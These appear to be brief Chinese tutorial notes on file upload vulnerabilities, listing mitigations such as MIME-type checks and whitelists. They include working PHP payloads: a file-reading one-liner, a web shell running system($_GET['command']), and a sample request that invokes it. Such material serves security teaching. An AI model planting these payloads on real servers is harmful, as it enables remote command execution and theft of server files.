允许用户在未充分验证文件名称、类型、内容或大小等信息的情况下将文件上传到其文件系统。
最糟糕的情况是网站允许上传服务器端脚本( PHP、Java 或 Python 文件),并且还配置为将它们作为代码执行。
<?php echo file_get_contents('/path/to/target/file'); ?>
Web shell 是一种恶意脚本,攻击者只需将 HTTP 请求发送到正确端点即可在远程 Web 服务器上执行任意命令。
GET /example/exploit.php?command=id HTTP/1.1
<?php echo system($_GET['command']); ?>
检查特定输入的Content-Type
标头是否与预期的 MIME 类型匹配
白名单
黑名单